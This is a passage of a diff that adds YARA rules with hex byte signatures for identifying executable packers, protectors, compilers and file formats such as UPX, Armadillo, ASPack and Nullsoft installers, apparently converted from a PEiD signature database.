+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _Microsoft_R_Fulltext_index_file_
+{
+	meta:
+		description = "Microsoft (R) Full-text index file"
+	strings:
+		$0 = {6C 6C 2D 74 65 78 74 20 69 6E 64 65 78}
+	condition:
+		$0
+}
+rule _PerlApp_602__ActiveState_
+{
+	meta:
+		description = "PerlApp 6.0.2 -> ActiveState"
+	strings:
+		$0 = {68 2C EA 40 00 FF D3 83 C4 0C 85 C0 0F 85 CD 00 00 00 6A 09 57 68 20 EA 40 00 FF D3 83 C4 0C 85 C0 75 12 8D 47 09 50 FF 15 1C D1 40 00 59 A3 B8 07 41 00 EB 55 6A 08 57 68 14 EA 40 00 FF D3 83 C4 0C 85 C0 75 11 8D 47 08 50 FF 15 1C D1 40 00 59 89 44 24 10 EB 33 6A 09 57 68 08 EA 40 00 FF D3 83 C4 0C 85 C0 74 22 6A 08 57 68 FC E9 40 00 FF D3 83 C4 0C 85 C0 74 11 6A 0B 57 68 F0 E9 40 00 FF D3 83 C4 0C 85 C0 75 55}
+		$1 = {68 9C E1 40 00 FF 15 A4 D0 40 00 85 C0 59 74 0F 50 FF 15 1C D1 40 00 85 C0 59 89 45 FC 75 62 6A 00 8D 45 F8 FF 75 0C F6 45 14 01 50 8D 45 14 50 E8 9B 01 00 00 83 C4 10 85 C0 0F 84 E9 00 00 00 8B 45 F8 83 C0 14 50 FF D6 85 C0 59 89 45 FC 75 0E FF 75 14 FF 15 78 D0 40 00 E9 C9 00 00 00 68 8C E1 40 00 FF 75 14 50}
+	condition:
+		$0 or $1
+}
+rule _JExeCompressor_V10__UsAr_
+{
+	meta:
+		description = "JExeCompressor V1.0 -> UsAr"
+	strings:
+		$0 = {0F C8 0F CF C6 C4 8B 0F AC EA 99 0F AD D8 13 F5 0F BD EF 85 EF 85 DA 69 FE ?? ?? ?? ?? 21 F9 BE ?? ?? ?? ?? 23 CF 0F BC FE D2 DC 85 EF B9 ?? ?? ?? ?? C6 C0 F7 8D 35 ?? ?? ?? ?? 8D 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _Berio_200_beta_h_
+{
+	meta:
+		description = "Berio 2.00 beta (h)"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 74 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v30_
+{
+	meta:
+		description = "Borland Delphi v3.0"
+	strings:
+		$0 = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _AcidCrypt_
+{
+	meta:
+		description = "AcidCrypt"
+	strings:
+		$0 = {60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+		$1 = {BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v13_
+{
+	meta:
+		description = "FSG v1.3"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB ?? ?? ?? ?? 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE ?? 74 EF FE}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _YZPack_12__UsAr_
+{
+	meta:
+		description = "YZPack 1.2 -> UsAr"
+	strings:
+		$0 = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_Stub_b__Farbrausch_Consumer_Consulting_
+{
+	meta:
+		description = "UPX Modified Stub b -> Farb-rausch Consumer Consulting"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC}
+		$1 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 30 ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Unknown_packer_07_
+{
+	meta:
+		description = "Unknown packer (07)"
+	strings:
+		$0 = {8C C8 05 ?? ?? 50 B8 ?? ?? 50 B0 ?? 06 8C D2 06 83}
+	condition:
+		$0 at entrypoint
+}
+rule _XPEOR_v099b_
+{
+	meta:
+		description = "X-PEOR v0.99b"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+		$1 = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HACKSTOP_v118_
+{
+	meta:
+		description = "HACKSTOP v1.18"
+	strings:
+		$0 = {52 BA ?? ?? 5A EB ?? 9A ?? ?? ?? ?? 30 CD 21 ?? ?? ?? FD 02 ?? ?? CD 20 0E 1F 52 BA ?? ?? 5A EB}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_15_by_Vaska_UsAr_sign_individual_version_21032007_2215_
+{
+	meta:
+		description = "RCryptor 1.5 by Vaska (UsAr sign (individual version) 21.03.2007 22:15)"
+	strings:
+		$0 = {83 2C 24 4F 68 40 A1 14 13 FF 54 24 04 83 44 24 04 4F B8 00 10 14 13 3D 24 C0 14 13 74 06 80 30 2B 40 EB F3 B8 8C 20 18 13 3D B9 27 18 13 74 06 80 30 19 40 EB F3 E8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260b1_
+{
+	meta:
+		description = "Armadillo v2.60b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 50 ?? ?? ?? 68 74 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 58 ?? ?? ?? 33 D2 8A D4 89 15 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _AdFlt2_
+{
+	meta:
+		description = "AdFlt2"
+	strings:
+		$0 = {68 00 01 9C 0F A0 0F A8 60 FD 6A 00 0F A1 BE ?? ?? AD}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_DLL__Microsoft_
+{
+	meta:
+		description = ".NET DLL -> Microsoft"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00 00 ?? 00 00 FF 25}
+	condition:
+		$0
+}
+rule _SimplePack_V11XV12X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X-V1.2X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_vxxxx_
+{
+	meta:
+		description = "EXECryptor vx.x.x.x"
+	strings:
+		$0 = {E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 B8 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftSentry_v211_
+{
+	meta:
+		description = "SoftSentry v2.11"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 E9 50}
+	condition:
+		$0 at entrypoint
+}
+rule _AVP_Inspector_Database_
+{
+	meta:
+		description = "AVP Inspector Database"
+	strings:
+		$0 = {47 68 6F 73 74 20 42 75 73 74 65 72}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_JDPack_1x__JDProtect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9] -> Anorganix"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_or_Borland_Pascal_v70_
+{
+	meta:
+		description = "Turbo or Borland Pascal v7.0"
+	strings:
+		$0 = {9A ?? ?? ?? ?? C8 ?? ?? ?? 9A ?? ?? ?? ?? 09 C0 75 ?? EB ?? 8D ?? ?? ?? 16 57 6A ?? 9A ?? ?? ?? ?? BF ?? ?? 1E 57 68}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE__Liuli_
+{
+	meta:
+		description = "EXEÎļþºÏ²¢Æ÷ -> Liuli"
+	strings:
+		$0 = {E8 53 03 00 00 8B F0 56 56 E8 98 03 00 00 8B C8}
+	condition:
+		$0
+}
+rule _EmbedPE_V100V124__cyclotron_
+{
+	meta:
+		description = "EmbedPE V1.00-V1.24 -> cyclotron"
+	strings:
+		$0 = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_Install_System_1xx_
+{
+	meta:
+		description = "Nullsoft Install System 1.xx"
+	strings:
+		$0 = {55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00}
+		$1 = {83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _ACE_Archive_
+{
+	meta:
+		description = "ACE Archive"
+	strings:
+		$0 = {2A 2A 41 43 45 2A 2A}
+	condition:
+		$0
+}
+rule _SEAAXE_
+{
+	meta:
+		description = "SEA-AXE"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_19881989_
+{
+	meta:
+		description = "Microsoft C (1988/1989)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Aluwain_v809_
+{
+	meta:
+		description = "Aluwain v8.09"
+	strings:
+		$0 = {8B EC 1E E8 ?? ?? 9D 5E}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v10__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.0 -> CGSoftLabs"
+	strings:
+		$0 = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_PE_Crypt_102__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PE Crypt 1.02) -> emadicius (h)"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Code_Virtualizer_V1310__Oreans_Technologies__Sign_by_fly_
+{
+	meta:
+		description = "Code Virtualizer V1.3.1.0 -> Oreans Technologies ! Sign by fly"
+	strings:
+		$0 = {60 9C FC E8 00 00 00 00 5F 81 EF ?? ?? ?? ?? 8B C7 81 C7 ?? ?? ?? ?? 3B 47 2C 75 02 EB 2E 89 47 2C B9 A7 00 00 00 EB 05 01 44 8F ?? 49 0B C9 75 F7 83 7F 40 00 74 15 8B 77 40 03 F0 EB 09 8B 1E 03 D8 01 03 83 C6 04 83 3E 00 75 F2 8B 74 24 24 8B DE 03 F0 B9 01 00 00 00 33 C0 F0 0F B1 4F 30 75 F7 AC}
+	condition:
+		$0
+}
+rule _VOB_ProtectCD_
+{
+	meta:
+		description = "VOB ProtectCD"
+	strings:
+		$0 = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_Encrypted_without_selfcheck_
+{
+	meta:
+		description = "EXE2COM (Encrypted without selfcheck)"
+	strings:
+		$0 = {B3 ?? B9 ?? ?? BE ?? ?? BF ?? ?? EB ?? 54 69 ?? ?? ?? ?? 03 ?? ?? 32 C3 AA 43 49 E3 ?? EB ?? BE ?? ?? 8B C6}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeBASIC_v011_
+{
+	meta:
+		description = "FreeBASIC v0.11"
+	strings:
+		$0 = {E8 ?? ?? 00 00 E8 01 00 00 00 C3 55 89 E5}
+	condition:
+		$0 at entrypoint
+}
+rule _PrivateEXE_v20a_
+{
+	meta:
+		description = "PrivateEXE v2.0a"
+	strings:
+		$0 = {06 60 C8 ?? ?? ?? 0E 68 ?? ?? 9A ?? ?? ?? ?? 3D ?? ?? 0F ?? ?? ?? 50 50 0E 68 ?? ?? 9A ?? ?? ?? ?? 0E}
+		$1 = {53 E8 ?? ?? ?? ?? 5B 8B C3 2D ?? ?? ?? ?? 50 81 ?? ?? ?? ?? ?? 8B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Lotus_Word_Pro_document_file_
+{
+	meta:
+		description = "Lotus Word Pro document file"
+	strings:
+		$0 = {57 6F 72 64 50 72 6F ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C 57 50 37}
+	condition:
+		$0
+}
+rule _Obsiduim_1304__Obsiduim_Software_
+{
+	meta:
+		description = "Obsiduim 1.3.0.4 -> Obsiduim Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 25 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 23 EB 01 ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v085f_
+{
+	meta:
+		description = "tElock v0.85f"
+	strings:
+		$0 = {60 E8 02 00 00 00 CD 20 E8 00 00 00 00 5E 2B C9 58 74 02}
+	condition:
+		$0 at entrypoint
+}
+rule _UpxLock_10__12__CyberDoom__TeamX__BoB__BobSoft_
+{
+	meta:
+		description = "Upx-Lock 1.0 - 1.2 -> CyberDoom / Team-X & BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 48 12 40 00 60 E8 2B 03 00 00 61}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b3_
+{
+	meta:
+		description = "Armadillo v1.90b3"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C_v70__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# v7.0 / Basic .NET"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _Armadillo_430a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.30a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 41 4E 53 49 29 2C 20 61 70 70 20 73 74 72 69 6E 67 73 20 61 72 65 20 27 25 73 27 20 61 6E 64 20 27 25 73 27 00 00 00 44 64 65 44 61 74 61 20 69 6E 69 74 69 61 6C 69 7A 65 64 20 28 55 4E 49 43}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEJoiner_v10_
+{
+	meta:
+		description = "EXEJoiner v1.0"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 C6 00 5C 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211__212__Fisun_Alexander_
+{
+	meta:
+		description = "ORiEN v2.11 - 2.12 -> Fisun Alexander"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE ?? 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_Patch__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack_Patch -> Sign by hot_UNP"
+	strings:
+		$0 = {81 3A 00 00 00 02 00 00 00 00}
+		$1 = {2A A3 F2 54 CE}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _NJoy_10__NEX_
+{
+	meta:
+		description = "N-Joy 1.0 -> NEX"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 9C 3B 40 00 E8 8C FC FF FF 6A 00 68 E4 39 40 00 6A 0A 6A 00 E8 40 FD FF FF E8 EF F5 FF FF 8D 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10801__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.01 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_10_beta__ap0x_
+{
+	meta:
+		description = "RLPack 1.0 beta -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68}
+		$1 = {60 E8 00 00 00 00 8D 64 24 04 8B 6C 24 FC 8D B5 4C 02 00 00 8D 9D 13 01 00 00 33 FF EB 0F FF 74 37 04 FF 34 37 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 EB 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 F9 01 00 00 89 85 48 02 00 00 5B FF B5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PC_Guard_for_Win32_500__SofProBlagoje_Ceklic_h_
+{
+	meta:
+		description = "PC Guard for Win32 5.00 -> SofPro/Blagoje Ceklic (h)"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 ?? ?? ?? 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C}
+	condition:
+		$0
+}
+rule _RLPack_117p_
+{
+	meta:
+		description = "RLPack 1.17+"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Password_Protector_for_the_UPX_030__g0d_
+{
+	meta:
+		description = "Password Protector for the UPX 0.30 -> g0d"
+	strings:
+		$0 = {C8 50 01 00 60 E8 EC 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 44 69 61 6C 6F 67 42 6F 78 49 6E 64 69 72 65 63 74 50 61 72 61 6D 41 00 53 65 6E 64 4D 65 73 73 61 67 65 41 00 45 6E 64 44 69 61 6C 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v11_
+{
+	meta:
+		description = "y0da's Crypter v1.1"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1031__Ashkbiz_Danehkar__Sign_by_fly_
+{
+	meta:
+		description = "yoda's Protector V1.03.1 -> Ashkbiz Danehkar ! Sign by fly"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Adys_Glue_v010_
+{
+	meta:
+		description = "Ady`s Glue v0.10"
+	strings:
+		$0 = {2E 8C 06 ?? ?? 0E 07 33 C0 8E D8 BE ?? ?? BF ?? ?? FC B9 ?? ?? 56 F3 A5 1E 07 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CrunchPE_Heuristic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Crunch/PE Heuristic] -> Anorganix"
+	strings:
